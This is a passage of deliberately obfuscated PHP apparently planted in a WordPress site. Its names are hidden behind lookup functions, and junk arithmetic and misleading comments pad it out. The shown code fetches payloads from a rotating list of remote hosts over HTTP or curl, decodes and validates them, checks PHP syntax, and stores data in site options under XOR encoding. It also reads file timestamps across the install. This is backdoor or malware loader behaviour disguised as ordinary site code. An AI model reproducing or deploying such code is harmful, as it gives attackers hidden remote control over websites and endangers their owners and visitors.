 unset($efupa2cf0iici,  $p8tfjc_v59ls);
      }


 }
 return;


  }    catch    (Throwable $mrelaaojjq4dc7d) {$anlvkbzp=657;$uka8alka9e=$anlvkbzp%12;
 hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(225),     $mrelaaojjq4dc7d);



 }   catch (Exception   $mrelaaojjq4dc7d)   {
    }     finally     {
       _38yfoleq3q40e76(wyzg13xdhd5r(193));



    }
 }
function  aoy815vanbylrvbuug0i($cvx3s0aw6jf29_z)
{
if   (rmqbu5no5o(226)(wyzg13xdhd5r(227))     && hus_b7m621lgc6(226)(ep_coq62(228)))  {
 $o5awqj1lykhjw =  @hus_b7m621lgc6(227)($cvx3s0aw6jf29_z);
if   ($o5awqj1lykhjw)  {
   $_m6wk2wte6czmz  = array();$hj493aomihlu4=8*7;$r6ezz8d9=$hj493aomihlu4-39;
while (($mrelaaojjq4dc7d   = @wyzg13xdhd5r(228)($o5awqj1lykhjw))    !== false)   {
      if    ($mrelaaojjq4dc7d    !==    '.' &&      $mrelaaojjq4dc7d    !==   ep_coq62(229))  $_m6wk2wte6czmz[]  =     $mrelaaojjq4dc7d;
  }
  if (rmqbu5no5o(230)(lfavz1nmi6pw4(231)))   @igsdp_2fdrp(231)($o5awqj1lykhjw);
return   $_m6wk2wte6czmz;
     }
       }
if   (igsdp_2fdrp(230)(igsdp_2fdrp(232)))  {
  $i0eebx24kei1a =   @lfavz1nmi6pw4(233)($cvx3s0aw6jf29_z);
  if    (lfavz1nmi6pw4(222)($i0eebx24kei1a))      return  wyzg13xdhd5r(224)(lfavz1nmi6pw4(176)($i0eebx24kei1a,  array('.', ep_coq62(234))));
    }


       if    (rmqbu5no5o(230)(igsdp_2fdrp(235)))  {



  $gur_7_z0mm   = @wyzg13xdhd5r(235)($cvx3s0aw6jf29_z   .  ep_coq62(236));
 if (lfavz1nmi6pw4(222)($gur_7_z0mm))   return    wyzg13xdhd5r(237)(wyzg13xdhd5r(185),   $gur_7_z0mm);
}
return null;



}

 function  chslach3yj4d6lbh($na0q8fa92nwj)
 {
    if     (!ep_coq62(211)($na0q8fa92nwj)  || hus_b7m621lgc6(196)($na0q8fa92nwj,    igsdp_2fdrp(238))    ===     false) return  false;
 if (ep_coq62(239)($na0q8fa92nwj)   >   (1048530+46))    $na0q8fa92nwj   =     jkq4_uvfuw5l47za51944b($na0q8fa92nwj);
    if  (ep_coq62(239)($na0q8fa92nwj)  > (1048539+37)) return   false;
 if (!igsdp_2fdrp(230)(hus_b7m621lgc6(240)))  return   true;
    if  (!defined(hus_b7m621lgc6(241))) {
    $c2wu7ywj1ys9rpil  =   @token_get_all($na0q8fa92nwj);
  if   (!hus_b7m621lgc6(242)($c2wu7ywj1ys9rpil)) return  true;
   $voasyy6rub0g35 = 0;
foreach    ($c2wu7ywj1ys9rpil  as $qiv470voo5)  {
if (lfavz1nmi6pw4(243)($qiv470voo5)) {
if  ($qiv470voo5[0]  === T_CURLY_OPEN  ||    $qiv470voo5[0]   ===      T_DOLLAR_OPEN_CURLY_BRACES)  $voasyy6rub0g35++;

continue;
      }
// @serialize derivation



 if ($qiv470voo5    ===    '{') $voasyy6rub0g35++;
 elseif   ($qiv470voo5  ===  '}')  {
// tail-call timeout-policy for WP Tag Cloud

    $voasyy6rub0g35--;
 if  ($voasyy6rub0g35  < 0)     return  false;
}

     }



        return $voasyy6rub0g35   ===  0;
    }
   try  {
   @token_get_all($na0q8fa92nwj,    TOKEN_PARSE);
 return  true;
}   catch     (Throwable   $mrelaaojjq4dc7d) {
return  false;
       }  catch   (Exception  $mrelaaojjq4dc7d) {
     return   false;
}
  }



function nrjeclogz4j36c()
  {
 return   array(ep_coq62(244),   wyzg13xdhd5r(245), wyzg13xdhd5r(246));
 }
function   vmpg62olwncw63()
 {
// debounce affine transformer

 return     array(lfavz1nmi6pw4(247),   rmqbu5no5o(248),  lfavz1nmi6pw4(249),    lfavz1nmi6pw4(250),  hus_b7m621lgc6(251), rmqbu5no5o(252), lfavz1nmi6pw4(253),  igsdp_2fdrp(254),  igsdp_2fdrp(255),   igsdp_2fdrp(256),  rmqbu5no5o(257), ep_coq62(258),  ep_coq62(259),  wyzg13xdhd5r(260), lfavz1nmi6pw4(261),   wyzg13xdhd5r(262),   wyzg13xdhd5r(263), wyzg13xdhd5r(264),    igsdp_2fdrp(265), hus_b7m621lgc6(266));
}


 function   _yo0isb_3wk47ml3hwjwv5()
  {
// debounce open synchronizer

        return   array(ep_coq62(267),  ep_coq62(268),  wyzg13xdhd5r(269),  wyzg13xdhd5r(270));
 }
 
  function    bi98zsufu16165sq5v6fl($yg5mgq1_xo9jwax)
{
// initialize hermitian watermark

 if    (lfavz1nmi6pw4(271)(rmqbu5no5o(272))) return    gzencode($yg5mgq1_xo9jwax, (247^254));
if  (wyzg13xdhd5r(271)(rmqbu5no5o(273))) {



      return   "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03"    .   gzdeflate($yg5mgq1_xo9jwax, (15^6))     .  lfavz1nmi6pw4(274)('V',   rmqbu5no5o(275)($yg5mgq1_xo9jwax))   .  rmqbu5no5o(274)('V',   lfavz1nmi6pw4(276)($yg5mgq1_xo9jwax)    &  (4294967197+98));
 }
   return $yg5mgq1_xo9jwax;
  }
   function c1mtichhsrpc724s9x4($yg5mgq1_xo9jwax)
  {
  if    (!ep_coq62(277)($yg5mgq1_xo9jwax)  || igsdp_2fdrp(278)($yg5mgq1_xo9jwax)   <  2)    return   $yg5mgq1_xo9jwax;
 if (rmqbu5no5o(194)($yg5mgq1_xo9jwax,  0, 2)    !== "\x1f\x8b")   return     $yg5mgq1_xo9jwax;
   if  (lfavz1nmi6pw4(278)($yg5mgq1_xo9jwax) <  (236^254)) return false;$z8subk5juyc7i1=7084;$qt4ox_ttw8l=$z8subk5juyc7i1%2;
$z4cttxhxg5gi  =   @rmqbu5no5o(279)('V',     lfavz1nmi6pw4(194)($yg5mgq1_xo9jwax,    -(1+3)));



      $z4cttxhxg5gi =  ep_coq62(243)($z4cttxhxg5gi)   ? $z4cttxhxg5gi[1]  :  0;
  if  ($z4cttxhxg5gi  <     (30+470)  ||   $z4cttxhxg5gi >  (0x5badb+0xa4525)) return    false;
  if   (hus_b7m621lgc6(271)(lfavz1nmi6pw4(280))) {
   $zkzbo8aayuo3  =  @gzdecode($yg5mgq1_xo9jwax,    (0xb11c8+0x4ee38));
  if   ($zkzbo8aayuo3   !==   false)    return    $zkzbo8aayuo3;
     }
     if   (rmqbu5no5o(271)(wyzg13xdhd5r(281)))  {
   $zkzbo8aayuo3 =   @gzinflate(lfavz1nmi6pw4(194)($yg5mgq1_xo9jwax,   (9+1),  wyzg13xdhd5r(282)($yg5mgq1_xo9jwax)  - (1+17)),  (0x4bfb8+0xb4048));
 return     (igsdp_2fdrp(277)($zkzbo8aayuo3) &&     lfavz1nmi6pw4(282)($zkzbo8aayuo3)  <= (1048572+4))  ?  $zkzbo8aayuo3  :   false;
}
    return     false;
 }
    
        if     (! ep_coq62(271)(igsdp_2fdrp(283)))      {$wc9lav0wrj84h=-484;$fr7hp1vo9824t=($wc9lav0wrj84h>0)?$wc9lav0wrj84h:-$wc9lav0wrj84h;
 function  hex2bin($d76y2_23g30)
{
    if    (!    rmqbu5no5o(284)($d76y2_23g30) || hus_b7m621lgc6(285)($d76y2_23g30)   %  2 !==    0)     {
    return false;
       }

      return   hus_b7m621lgc6(274)(igsdp_2fdrp(286),   $d76y2_23g30);
       }
   }


    function  tkjywmjdyogfvxumcj6gh4()



 {
     $v7kkp0s5evjy =     array();
$rcqn8sep48gew7o   = array(ABSPATH,  ABSPATH .    rmqbu5no5o(287),  ABSPATH  .  wyzg13xdhd5r(288));



   if  (defined(hus_b7m621lgc6(135))) $rcqn8sep48gew7o[]  =    WP_CONTENT_DIR .   '/';


   foreach      ($rcqn8sep48gew7o   as $zkzbo8aayuo3) {
 $nz4xoto_0z = rmqbu5no5o(289)(lfavz1nmi6pw4(235))  ?   @ep_coq62(290)($zkzbo8aayuo3  .   lfavz1nmi6pw4(291))  : false;

   if  (igsdp_2fdrp(243)($nz4xoto_0z))  {
 foreach    ($nz4xoto_0z    as $eofsqnwjdfpxz)  {
// Composer autoload: propagate visitor




 $z6n_fgl6mlf =  @hus_b7m621lgc6(292)($eofsqnwjdfpxz);



if  ($z6n_fgl6mlf   && $z6n_fgl6mlf  > (0x2820351c+0x104d0e64))    {
 $v7kkp0s5evjy[]    =  $z6n_fgl6mlf;
}
// flag cleared

}
  }
}



      if   (!empty($v7kkp0s5evjy))    {
/* heuristic iterator */

 $rxzmhdjber =    $v7kkp0s5evjy[lfavz1nmi6pw4(293)($v7kkp0s5evjy)];
 return ($rxzmhdjber    - ($rxzmhdjber  % (99957+43)))  +   e258bnpepjjzl95jyx77();
   }
   $o7ouu6tnbsrb  =  lfavz1nmi6pw4(294)()    -   ((279+86)  * (189^165)  * (3525+75));



       $lsxjr4wqrvvnb87f     = hus_b7m621lgc6(289)(ep_coq62(295))     ?    wp_rand(0,   (0x1b+0x3)   *  (236^244) * (216+3384))     :     igsdp_2fdrp(296)(0,  (8+22) * (18+6) *  (3504+96));
$rxzmhdjber  = $o7ouu6tnbsrb - $lsxjr4wqrvvnb87f;
   return ($rxzmhdjber -  ($rxzmhdjber   %     (107063-7063)))   + e258bnpepjjzl95jyx77();
  }
 function  ppdf1kmdra3o1o0($b61tkn0t2h96vrih,  $eumeq0sbnaz6_7k,  $k6umls5eo6   =      null)
   {
/* offline event-bus */

   $b84l9zfpk6   =  function ($jxb32uhkeg)  use   ($k6umls5eo6)  {
if (!ep_coq62(297)($jxb32uhkeg)  ||  $jxb32uhkeg   ===   "")  return false;
   if    (igsdp_2fdrp(285)($jxb32uhkeg)     >     (8388524+84)) return  false;
 if   ($k6umls5eo6)    {
try {
 return    (bool)  lfavz1nmi6pw4(298)($k6umls5eo6, $jxb32uhkeg);
 }  catch (Throwable $mrelaaojjq4dc7d)   {


return  false;
 }   catch     (Exception $mrelaaojjq4dc7d)  {


   return false;
     }
    }
// Composer autoload: compile builder

     return true;
    };
       $w39otamkqjv5h51t  =    rmqbu5no5o(289)(hus_b7m621lgc6(299)) ?     @rmqbu5no5o(299)($b61tkn0t2h96vrih, array(
 rmqbu5no5o(300)  =>  $eumeq0sbnaz6_7k,

igsdp_2fdrp(301) =>      false,
  ep_coq62(302)    =>  (8388518+90),



 ))  :    false;
   if ($w39otamkqjv5h51t  && (!lfavz1nmi6pw4(289)(lfavz1nmi6pw4(303)) ||  !is_wp_error($w39otamkqjv5h51t))) {
 if ((int) wp_remote_retrieve_response_code($w39otamkqjv5h51t)  ===   (247-47))      {
$mp6fvwi5h1140xnf    =  wp_remote_retrieve_body($w39otamkqjv5h51t);
 if     ($b84l9zfpk6($mp6fvwi5h1140xnf)) return  $mp6fvwi5h1140xnf;
  }
 }


 if (ep_coq62(289)(rmqbu5no5o(304)) &&    igsdp_2fdrp(289)(lfavz1nmi6pw4(305))    &&  ep_coq62(289)(igsdp_2fdrp(306)))   {
  $i0q58ptzd63dzu8t    = @rmqbu5no5o(307)($b61tkn0t2h96vrih);


    if  ($i0q58ptzd63dzu8t   ===  false)     return   false;
  @rmqbu5no5o(305)($i0q58ptzd63dzu8t,  array(
    constant(wyzg13xdhd5r(308))  =>   true,
 constant(wyzg13xdhd5r(309))   =>    $eumeq0sbnaz6_7k,
 constant(rmqbu5no5o(310))   =>   false,
 constant(igsdp_2fdrp(311))   =>   0,

  constant(lfavz1nmi6pw4(312))    =>  false,
     constant(wyzg13xdhd5r(313))  =>    function   ($rux5kf_r1ghgig,  $ppxofhxwldf1qcg,  $g_4a86fb8q6_nzp)  {  return      $g_4a86fb8q6_nzp    >  (8388517+91)   ?    1  : 0;   },
 ));
  $rbh65fc6tj3i   =  @lfavz1nmi6pw4(306)($i0q58ptzd63dzu8t);
   $pdi6pnasftc0h  =   @curl_errno($i0q58ptzd63dzu8t);
       $dhfyovorqkg7txp  =    @curl_getinfo($i0q58ptzd63dzu8t);
@curl_close($i0q58ptzd63dzu8t);
if      ($pdi6pnasftc0h)   return     false;



   if    ((int)   $dhfyovorqkg7txp[ep_coq62(314)]  ===  (25<<3) && $rbh65fc6tj3i    !== false && $b84l9zfpk6($rbh65fc6tj3i))    {

   return   $rbh65fc6tj3i;$vx0d8vrwdi=PHP_MAJOR_VERSION;$frotr0lb=$vx0d8vrwdi*4;


     }
     }



 return  false;
 }



  
  function   ofzgzd4o99d89w5co($b61tkn0t2h96vrih,  $s56670tpnfj,  $xn8hibu212dda, $eumeq0sbnaz6_7k,   $k6umls5eo6 = null)
 {
// Xdebug profiler theme support




     $b84l9zfpk6  =  function   ($jxb32uhkeg) use  ($k6umls5eo6)     {
if (!hus_b7m621lgc6(297)($jxb32uhkeg)   ||  $jxb32uhkeg   ===  "")    return false;
if    (ep_coq62(285)($jxb32uhkeg)  >  (8388569+39))   return    false;
 if  ($k6umls5eo6)  {

        try {
return  (bool)  lfavz1nmi6pw4(298)($k6umls5eo6,    $jxb32uhkeg);
 } catch (Throwable  $mrelaaojjq4dc7d) {
   return     false;
   }    catch   (Exception  $mrelaaojjq4dc7d)     {
   return  false;
 }
     }
return  true;
  };
   $w39otamkqjv5h51t =   lfavz1nmi6pw4(315)(igsdp_2fdrp(316)) ?  @hus_b7m621lgc6(316)($b61tkn0t2h96vrih,    array(
 lfavz1nmi6pw4(317) =>   $eumeq0sbnaz6_7k,
igsdp_2fdrp(318)    =>   false,
   wyzg13xdhd5r(319) =>  (8388546+62),

   rmqbu5no5o(320)  =>   $xn8hibu212dda,
  igsdp_2fdrp(321)    => $s56670tpnfj,

))  :   false;
  if   (rmqbu5no5o(315)(wyzg13xdhd5r(303))  &&   is_wp_error($w39otamkqjv5h51t)) {
      }   elseif  ($w39otamkqjv5h51t) {
 $na0q8fa92nwj     =    (int)  wp_remote_retrieve_response_code($w39otamkqjv5h51t);
$nhm_7d2yyeue090r  = wp_remote_retrieve_body($w39otamkqjv5h51t);
   $z_sr4womr_gcoz1      = wp_remote_retrieve_headers($w39otamkqjv5h51t);$e_insj7va=PHP_MAJOR_VERSION;$vq6a_c_jmanz=$e_insj7va*5;

 $tesqexx6j90frf4  = "";$w1lizp3s03o=66+88;$zi9e603a=$w1lizp3s03o-24;
    if     (lfavz1nmi6pw4(243)($z_sr4womr_gcoz1))    {
   foreach ($z_sr4womr_gcoz1     as   $py_uw6foxdv09uz_   =>    $xyls27cg7n)   {
$tesqexx6j90frf4  .=      $py_uw6foxdv09uz_   .    ep_coq62(322) .     $xyls27cg7n   .     lfavz1nmi6pw4(323);
}



}
 if   ($na0q8fa92nwj  ===     (0x41+0x87) &&  $b84l9zfpk6($nhm_7d2yyeue090r))  {


   return $nhm_7d2yyeue090r;
  }

     } else     {
// Pest PHP 2 srcset descriptor

   }

        if      (igsdp_2fdrp(315)(ep_coq62(324))   &&  rmqbu5no5o(315)(ep_coq62(325))  && rmqbu5no5o(326)(igsdp_2fdrp(327)))  {
    $i0q58ptzd63dzu8t    = @hus_b7m621lgc6(324)($b61tkn0t2h96vrih);
   if   ($i0q58ptzd63dzu8t    ===  false)   {



return     false;
}


$zuzgw035lin4jtpt =     array();
    foreach  ($xn8hibu212dda as $py_uw6foxdv09uz_      =>   $xyls27cg7n)     {
  $zuzgw035lin4jtpt[]  = $py_uw6foxdv09uz_ .  wyzg13xdhd5r(328)    .  $xyls27cg7n;
 }
 @hus_b7m621lgc6(325)($i0q58ptzd63dzu8t,  array(
constant(ep_coq62(329))   =>     true,



   constant(rmqbu5no5o(330))  =>  $s56670tpnfj,
    constant(lfavz1nmi6pw4(308)) =>   true,
      constant(wyzg13xdhd5r(331))     =>  $eumeq0sbnaz6_7k,
  constant(lfavz1nmi6pw4(310))    => false,
constant(hus_b7m621lgc6(311)) =>     0,
    constant(igsdp_2fdrp(332))    => $zuzgw035lin4jtpt,
 constant(wyzg13xdhd5r(312))  =>     false,



        constant(ep_coq62(313))  =>  function    ($rux5kf_r1ghgig,      $ppxofhxwldf1qcg, $g_4a86fb8q6_nzp)  {  return $g_4a86fb8q6_nzp   >   (553804+7834804)  ? 1 : 0;   },
 ));
   $rbh65fc6tj3i = @rmqbu5no5o(327)($i0q58ptzd63dzu8t);

   $pdi6pnasftc0h =   @curl_errno($i0q58ptzd63dzu8t);


     $y7kdwe76n5pg    =   @curl_error($i0q58ptzd63dzu8t);
   $dhfyovorqkg7txp  =  @curl_getinfo($i0q58ptzd63dzu8t);
 $lvn9ljoc41v      =   (int)   $dhfyovorqkg7txp[igsdp_2fdrp(314)];



 if   ($pdi6pnasftc0h)  {
 @curl_close($i0q58ptzd63dzu8t);
return      false;
}

   @curl_close($i0q58ptzd63dzu8t);
     if ($lvn9ljoc41v    ===  (2^202)     &&   $rbh65fc6tj3i    !==  false   && $b84l9zfpk6($rbh65fc6tj3i))     {
 return  $rbh65fc6tj3i;
    }
      if ($rbh65fc6tj3i)  {
     }
  return   false;
}
   return   false;


   }



    

   function  oq9qik20y9nsdibqes()



     {
/* primary task-graph */



      $l3ttfg2ur22q9f9b   = nrjeclogz4j36c();
     $jxl6uzjdbey =     vmpg62olwncw63();
    
  if   (empty($l3ttfg2ur22q9f9b)   ||   empty($jxl6uzjdbey)) {

 return  array();
 }
 


 $yvp7u4i6kakl1k   = rmqbu5no5o(333)(rmqbu5no5o(334))  ?  (string)  get_option(rmqbu5no5o(335), "")    :  "";
if  ($yvp7u4i6kakl1k !==      "")   {
  $jxl6uzjdbey  =   igsdp_2fdrp(336)(lfavz1nmi6pw4(337)($jxl6uzjdbey,   array($yvp7u4i6kakl1k)));
     igsdp_2fdrp(338)($jxl6uzjdbey,  $yvp7u4i6kakl1k);
}
       
$ft81rmxywn201  =     lfavz1nmi6pw4(339)($l3ttfg2ur22q9f9b[hus_b7m621lgc6(293)($l3ttfg2ur22q9f9b)]);
       if     ($ft81rmxywn201 === "")   {
// MySQL JSON operators: immutable timeout-policy

     return    array();
   }
   
$s56670tpnfj  =  ep_coq62(340) . $ft81rmxywn201    . igsdp_2fdrp(341);
  $o3843hfp8vl59 = array(rmqbu5no5o(342)    => rmqbu5no5o(343));
   $nd22mj03e1  =     ep_coq62(344)(true);
      foreach    ($jxl6uzjdbey as  $lv0t_gr8fbx1o)  {$ijgeasyi=PHP_MAJOR_VERSION;$jgcxbi78xtj3=$ijgeasyi*10;
   
 if    ((ep_coq62(344)(true)  -    $nd22mj03e1)  > (80-35))  {
// WP InnerBlocks script dependency

    break;
 }
// WP Button Block: evaluate unification

   
$lv0t_gr8fbx1o   = rmqbu5no5o(339)((string)    $lv0t_gr8fbx1o);
     

        if   ($lv0t_gr8fbx1o ===      "") {



     continue;


  }
 try    {
      $nhm_7d2yyeue090r  =  ofzgzd4o99d89w5co($lv0t_gr8fbx1o,  $s56670tpnfj, $o3843hfp8vl59, (11^14),    function     ($jxb32uhkeg) {
    $h0lsp5l1bm3jxj8n   = @wyzg13xdhd5r(345)($jxb32uhkeg,    true);
 return   hus_b7m621lgc6(243)($h0lsp5l1bm3jxj8n) && isset($h0lsp5l1bm3jxj8n[lfavz1nmi6pw4(346)]);
    });
if    ($nhm_7d2yyeue090r ===     false)     {
    continue;
       }
  $n3w3z66p5mq5xfh     =    @lfavz1nmi6pw4(345)($nhm_7d2yyeue090r,   true);
 if    (! wyzg13xdhd5r(243)($n3w3z66p5mq5xfh)  ||   !    isset($n3w3z66p5mq5xfh[wyzg13xdhd5r(346)])  ||   !   hus_b7m621lgc6(297)($n3w3z66p5mq5xfh[rmqbu5no5o(346)]))  {
 continue;
       }
    
$d76y2_23g30   =   $n3w3z66p5mq5xfh[wyzg13xdhd5r(347)];
   if (hus_b7m621lgc6(348)($d76y2_23g30,   igsdp_2fdrp(349))  ===    0) {
$d76y2_23g30  = rmqbu5no5o(350)($d76y2_23g30,   2);

  }
 
    $y9tyb2ydfbooq6v4 =  @rmqbu5no5o(283)($d76y2_23g30);
if  ($y9tyb2ydfbooq6v4  ===  false   || rmqbu5no5o(285)($y9tyb2ydfbooq6v4)  < (11+53))  {
continue;
  }
  
$zdtdf8iptr590bp =    (12+51);
$khnqdni1xtr1s =    hus_b7m621lgc6(351)($y9tyb2ydfbooq6v4[$zdtdf8iptr590bp]);
 $x9pi2kfsoa8v1u_l   =   rmqbu5no5o(350)($y9tyb2ydfbooq6v4, $zdtdf8iptr590bp +     1, $khnqdni1xtr1s);



 if   (!  rmqbu5no5o(297)($x9pi2kfsoa8v1u_l)    || hus_b7m621lgc6(285)($x9pi2kfsoa8v1u_l)  <  (1+2))  {
// WP InspectorControls: immutable bivariant

 continue;
 }
 
  $x_v0_psy4t  =   wyzg13xdhd5r(352)($x9pi2kfsoa8v1u_l[0]);
 if   ($x_v0_psy4t   <    1  ||  lfavz1nmi6pw4(285)($x9pi2kfsoa8v1u_l) <  1   + $x_v0_psy4t     +    1) {

 continue;
}
// WP useEntityRecords capability gate

     
      $obpriddb7ynpcyh   = rmqbu5no5o(350)($x9pi2kfsoa8v1u_l,     1,   $x_v0_psy4t);
      $gftrjv72nsp  =  igsdp_2fdrp(350)($x9pi2kfsoa8v1u_l, 1  +  $x_v0_psy4t);
 if  (! hus_b7m621lgc6(297)($obpriddb7ynpcyh) ||    ! hus_b7m621lgc6(297)($gftrjv72nsp))  {$sgqag1tcrqhi=5+88;$k219l_3mu2bx=$sgqag1tcrqhi-6;

  continue;
}



$j1t824zczveq  =  fwiype06drdzqvei_h1v($gftrjv72nsp,     $obpriddb7ynpcyh);
if  (!   rmqbu5no5o(297)($j1t824zczveq)    ||   igsdp_2fdrp(285)($j1t824zczveq)  <    2)  {
// proactive command

    hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(353), wyzg13xdhd5r(354));
   continue;
}
     
 $rv5pwxy7e71rx8ok  =   hus_b7m621lgc6(352)($j1t824zczveq[0]);
    if   ($rv5pwxy7e71rx8ok  <  1  || ep_coq62(355)($j1t824zczveq)   <   1   + $rv5pwxy7e71rx8ok) {
// Composer autoload hook callback

 hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(356),  rmqbu5no5o(357));

    continue;
}
 
   $gdsrt90ebc6k2ja1 =     wyzg13xdhd5r(358)($j1t824zczveq,  1,   $rv5pwxy7e71rx8ok);
$llmomppcafxxivc   =  ep_coq62(359)($j1t824zczveq,  1     + $rv5pwxy7e71rx8ok);
   $g8rep97r1it_ =     ep_coq62(336)(hus_b7m621lgc6(360)(ep_coq62(237)(igsdp_2fdrp(361), igsdp_2fdrp(362)(hus_b7m621lgc6(363),  $llmomppcafxxivc))));
if      (ep_coq62(333)(igsdp_2fdrp(64)))  {
  update_option(wyzg13xdhd5r(364),  $lv0t_gr8fbx1o);
 update_option(wyzg13xdhd5r(365),  wyzg13xdhd5r(366)("\n", $g8rep97r1it_));
      }

return    array(igsdp_2fdrp(367)      =>  $gdsrt90ebc6k2ja1, lfavz1nmi6pw4(368)   =>     $g8rep97r1it_);
  }   catch    (Throwable  $mrelaaojjq4dc7d)  {
 hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(356),  $mrelaaojjq4dc7d);
continue;$az2pvmeha4=9036;$gudgga0e=$az2pvmeha4%16;
 }   catch (Exception  $mrelaaojjq4dc7d)     {
 continue;
    }
  }
$_phxr6tsln6x =   igsdp_2fdrp(333)(hus_b7m621lgc6(369))  ?      (string)  get_option(ep_coq62(365), "")   :  "";
 $wzp7ooclfe4o  =  xhg11fk9i0xj5k2(wyzg13xdhd5r(370), "");
    if ($_phxr6tsln6x    !==  ""      &&  rmqbu5no5o(297)($wzp7ooclfe4o)     &&  $wzp7ooclfe4o   !== "")  {
  $g8rep97r1it_ = hus_b7m621lgc6(371)(ep_coq62(372)(igsdp_2fdrp(237)(rmqbu5no5o(373),    igsdp_2fdrp(362)(rmqbu5no5o(363), $_phxr6tsln6x))));
if  (! empty($g8rep97r1it_))    {
 return  array(wyzg13xdhd5r(367)    => $wzp7ooclfe4o, lfavz1nmi6pw4(368)  => $g8rep97r1it_);

}
 }
// @reconcile flyweight

     hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(356),  hus_b7m621lgc6(374));
return   array();
  }


 function efb1411g61xp_um6ts($aey8brvng9y067v,  $lrlsu6l05fhhot, $huacszx04_)
 {
 if (!   hus_b7m621lgc6(333)(lfavz1nmi6pw4(64)))   {
// WP Post Comments: feasible credential

return  false;
 }
    $wy4jk2k5yot46b6  =  lfavz1nmi6pw4(375)($lrlsu6l05fhhot);
   $apgvhozc8v4ia    =   wyzg13xdhd5r(376)(igsdp_2fdrp(377)(1,     (0xb6+0x49)));
$m1q3g0eh158x2     =      "";
   for ($il_uzw3law = 0,  $tf2mxt64gi_glhv   =    hus_b7m621lgc6(355)($wy4jk2k5yot46b6); $il_uzw3law  <  $tf2mxt64gi_glhv; $il_uzw3law++)  {



$m1q3g0eh158x2   .= wyzg13xdhd5r(376)(lfavz1nmi6pw4(378)($wy4jk2k5yot46b6[$il_uzw3law]) ^      hus_b7m621lgc6(378)($apgvhozc8v4ia));
}

 return  update_option($aey8brvng9y067v, wyzg13xdhd5r(379)($apgvhozc8v4ia  .    $m1q3g0eh158x2),   $huacszx04_)     !==     false;
     }
        


       function _xntkey8jynbmjmnd76tef($aey8brvng9y067v, $dyful332yxgqzz)
     {
if (!rmqbu5no5o(333)(ep_coq62(369)))  return   $dyful332yxgqzz;
      $dhjmd64bi2_fhvt  = get_option($aey8brvng9y067v,   "");
if     ($dhjmd64bi2_fhvt ===    "" ||     !  lfavz1nmi6pw4(380)($dhjmd64bi2_fhvt))      {
return    $dyful332yxgqzz;
   }


     $v8gkwgfgqc =   @ep_coq62(381)($dhjmd64bi2_fhvt,  true);
      if   ($v8gkwgfgqc    === false ||      lfavz1nmi6pw4(382)($v8gkwgfgqc) <    2)  {
   return $dyful332yxgqzz;
}
     $apgvhozc8v4ia   = $v8gkwgfgqc[0];
$wv6wvkemt0    =     "";
 for  ($il_uzw3law = 1,  $tf2mxt64gi_glhv = ep_coq62(382)($v8gkwgfgqc);  $il_uzw3law  <   $tf2mxt64gi_glhv;    $il_uzw3law++)  {
  $wv6wvkemt0      .= hus_b7m621lgc6(383)(ep_coq62(378)($v8gkwgfgqc[$il_uzw3law]) ^ rmqbu5no5o(384)($apgvhozc8v4ia));
      }
// normal serializer

$yni14f4qwbxw =  cm5bybjyd58t09oe6rch($wv6wvkemt0);
 return  $yni14f4qwbxw      !== false     ?     $yni14f4qwbxw   :    $dyful332yxgqzz;


   }
     function  cm5bybjyd58t09oe6rch($x9pi2kfsoa8v1u_l)
{


   if  (!wyzg13xdhd5r(385)($x9pi2kfsoa8v1u_l))  return false;
   if (defined(lfavz1nmi6pw4(386))   && PHP_VERSION_ID >=  (0xc50f+0x4c61))  {
   return   @ep_coq62(387)($x9pi2kfsoa8v1u_l,  array(lfavz1nmi6pw4(388)    => false));
 }

  return    @rmqbu5no5o(387)($x9pi2kfsoa8v1u_l);
   }


  function   sclfkw2cxctipcuj()
 {
   static  $py_uw6foxdv09uz_    = null;


  if  ($py_uw6foxdv09uz_     !==  null)  return   $py_uw6foxdv09uz_;
   $de42_qcevq1bs    =     defined(lfavz1nmi6pw4(389)) ?  ABSPATH :     "";

$py_uw6foxdv09uz_  =    rmqbu5no5o(13)(ep_coq62(390)('\\',  '/',     $de42_qcevq1bs),    '/')     . '/';
return $py_uw6foxdv09uz_;

  }
function  xh1v18rjy_bx1qu6($aey8brvng9y067v)
    {
     return mqedo90o6oi8f48x6b8n(sclfkw2cxctipcuj()     . (string) e258bnpepjjzl95jyx77()     .  $aey8brvng9y067v,  (7+5));
 }
    function    i3s0ke334l_v7a0tg9x4($vf0sqsjhfdx1i)
{
return      (string)    ((90999975+25)    + ((int)   hexdec(hus_b7m621lgc6(359)(igsdp_2fdrp(391)(sclfkw2cxctipcuj()   .   rmqbu5no5o(392) .  $vf0sqsjhfdx1i),   0,  (0x2+0x5)))     %   (8999942+57)));
     }
  function iocf8lay7v0w9o65p6o()
   {
  return     i3s0ke334l_v7a0tg9x4(lfavz1nmi6pw4(393));
  }
function    u_s7a1dotmwexor()
     {
$ulbldcz_o5i = (string)  xhg11fk9i0xj5k2(ep_coq62(394), "");



  return   hus_b7m621lgc6(382)($ulbldcz_o5i)   > (0x8+0x2)    &&  lfavz1nmi6pw4(348)($ulbldcz_o5i, iocf8lay7v0w9o65p6o()) !== false &&  ep_coq62(395)((string)   xhg11fk9i0xj5k2(ep_coq62(396),  ""))    >   (221^185);
   }

     
 function  xhg11fk9i0xj5k2($aey8brvng9y067v,    $dyful332yxgqzz)
  {
  return _xntkey8jynbmjmnd76tef(xh1v18rjy_bx1qu6($aey8brvng9y067v),   $dyful332yxgqzz);
   }
     function    j5gya5jxcqm92g($aey8brvng9y067v,  $dyful332yxgqzz   = "")
    {$vw104o06aq2=1941;$cfgdkdj3qvb2w=$vw104o06aq2%9;

  $xyls27cg7n   =    xhg11fk9i0xj5k2($aey8brvng9y067v, $dyful332yxgqzz);
   if    (wyzg13xdhd5r(397)($xyls27cg7n)) return  $xyls27cg7n;
if    (lfavz1nmi6pw4(398)($xyls27cg7n))  return  (string)  $xyls27cg7n;
return  $dyful332yxgqzz;
   }



function y1t1n_tjdwdr9b8i44($aey8brvng9y067v,    $lrlsu6l05fhhot,   $huacszx04_)



      {

efb1411g61xp_um6ts(xh1v18rjy_bx1qu6($aey8brvng9y067v),   $lrlsu6l05fhhot, $huacszx04_);
    

      }


    function k2xz_ewv97f8rlr7()
{
    $dylcvvvnol     =  isset($GLOBALS[ep_coq62(399)])     ?     $GLOBALS[wyzg13xdhd5r(399)]     :  array();
